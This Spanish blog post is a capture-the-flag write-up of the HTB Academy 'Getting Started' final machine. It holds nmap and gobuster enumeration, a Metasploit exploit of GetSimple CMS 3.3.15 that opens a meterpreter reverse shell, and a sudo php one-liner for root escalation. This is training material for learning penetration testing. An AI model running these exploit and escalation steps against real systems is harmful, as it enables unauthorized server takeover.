Este es mi primer post y voy a comenzar con el último ejercicio de verificación de conocimientos del módulo Getting Started de HTB Academy. Este módulo me pareció muy recomendable. Después de una introducción y unas indicaciones, da unos conceptos básicos de pentesting, una breve explicación por si son tus primeros pasos por HTB y seguidamente haces la máquina Nibbles con explicaciones muy bien detalladas. Y para terminar plantea una maquina para verificar los conocimientos anteriores. Esta práctica que plantean es lo que voy a explicar a continuación.
A mi me ha gustado mucho este módulo y el estilo de enseñanza de HTB Academy también. Espero que lo disfrutes tanto como yo.
Enumeración
Empiezo a escanear con nmap.
nmap -sCV -p- 10.129.87.77 -oA verificacion-final
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 16:27 CEST
Nmap scan report for 10.129.87.77
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4c73a025f5fe817b822b3649a54dc85e (RSA)
| 256 e1c056d052042f3cac9ae7b1792bbb13 (ECDSA)
|_ 256 523147140dc38e1573e3c424a23a1277 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin/
|_http-title: Welcome to GetSimple! - gettingstarted
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.94 seconds
"80/tcp open http" indica que el puerto TCP 80 está abierto y que el servicio que se está ejecutando en él es HTTP.
"Apache httpd 2.4.41 ((Ubuntu))" muestra que el servidor web Apache está siendo utilizado en el sistema, con la versión 2.4.41 y que el sistema operativo es Ubuntu.
"http-robots.txt: 1 disallowed entry /admin/" revela que se encontró un archivo robots.txt en el servidor HTTP y que contiene una única entrada que prohíbe a los robots de búsqueda el acceso a la ruta /admin/. El archivo robots.txt se utiliza para proporcionar instrucciones a los robots de búsqueda de los motores de búsqueda para que sepan qué páginas o secciones del sitio web deben o no rastrear.
"http-title: Welcome to GetSimple! - gettingstarted" destaca que la página de inicio del sitio web es "Welcome to GetSimple! - gettingstarted". El título de la página se encuentra dentro de las etiquetas HTML .
"http-server-header: Apache/2.4.41 (Ubuntu)" indica que el servidor HTTP es Apache y está ejecutando la versión 2.4.41 en Ubuntu.
"Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel" comunica que el sistema operativo subyacente es Linux, y se especifica el CPE (Common Platform Enumeration) correspondiente.
Entro en la web.
GetSimple CMS es un sistema de gestión de contenido (CMS) de código abierto y gratuito que permite a los usuarios crear y administrar fácilmente sitios web dinámicos. Se basa en PHP y utiliza una base de datos SQLite o MySQL para almacenar el contenido. Es utilizado por individuos, pequeñas empresas y organizaciones que buscan crear sitios web de manera rápida y fácil sin tener que aprender habilidades técnicas avanzadas.
La salida proporcionada es el resultado de un análisis con la herramienta WhatWeb en http://10.129.87.77/admin.
La respuesta indica que la página web en la dirección "http://10.129.87.77/admin" se movió permanentemente a otra dirección y proporciona la nueva dirección. La información también muestra que el servidor web utiliza Apache versión 2.4.41 y se ejecuta en Ubuntu Linux con la misma versión de Apache. Además, se detectó que la página web utiliza HTML5 y tiene un campo de contraseña llamado "pwd". La página también utiliza JQuery versión 1.7.1 y un script de tipo "text/javascript". El título de la página es "gettingstarted » Login" y se establece la política de seguridad de "X-Frame-Options" en "SAMEORIGIN".
Continuo con gobuster para obtener mas información.
Se encontraron tres directorios: /inc, /lang y /template. Cada uno de ellos devuelve un código de estado 301 (redirección).
/index.php se encontró con un código de estado 200, lo que indica que la página se encontró y se pudo acceder a ella correctamente. El tamaño de la página es 2623 bytes.
Es posible que este archivo contenga información útil sobre la página web, por lo que se podría examinar su contenido para obtener más información sobre el sitio web. También se podría realizar una enumeración adicional en este archivo en busca de otras rutas o archivos que puedan ser útiles para la evaluación de vulnerabilidades o la explotación.
La herramienta también muestra las nuevas URL a las que se ha redirigido cada directorio.
Después de escanear con gobuster los 4 directorios que se encontraron anteriormente solo han dado resultados /inc y /template.
En el directorio /tmp se puede comprobar la versión de GetSimple a la que corresponde que es la 3.3.15. Busco un exploit poniendo en el buscador getsimple 3.3.15 exploit y encuentro lo siguiente.
En la terminal con el comando searsploit busco getsimple y obtengo varios resultados.
Elijo la segunda opción que es la versión más actual y configuro el exploit.
msf6 > use 1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > show options
Module options (exploit/multi/http/getsimplecms_unauth_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the cms
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.129 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 GetSimpleCMS 3.3.15 and before
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > set RHOSTS 10.129.87.77
RHOSTS => 10.129.87.77
msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > set LHOST 10.10.14.178
LHOST => 10.10.14.178
msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > exploit
[*] Started reverse TCP handler on 10.10.14.178:4444
[*] Sending stage (39927 bytes) to 10.129.87.77
[*] Meterpreter session 1 opened (10.10.14.178:4444 -> 10.129.87.77:48986) at 2023-03-27 18:07:56 +0200
meterpreter > pwd
/var/www/html/theme
Obtengo acceso y empiezo a navegar con meterpreter.
Y por fin localizo la primera flag en /home/mrb3n.
Escalada de privilegios
Ahora a escalar privilegios. Lo primero que hago es listar los permisos que tiene el usuario actual para ejecutar comandos con el comando "sudo".
meterpreter > sudo -l
[-] Unknown command: sudo
meterpreter > shell
Process 1855 created.
Channel 0 created.
sudo -l
Matching Defaults entries for www-data on gettingstarted:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php
Se puede ver que el siguiente binario no requiere password (ALL : ALL) NOPASSWD: /usr/bin/php
Busco en # GTFOBins el binario php y encuentro lo siguiente.
Aplico las dos anteriores lineas de comandos y consigo acceso a root y desde esta posición busco y encuentro la flag de root.
CMD="/bin/sh"
sudo php -r "system('$CMD');"
whoami
root
cd root
ls
root.txt
snap
cat root.txt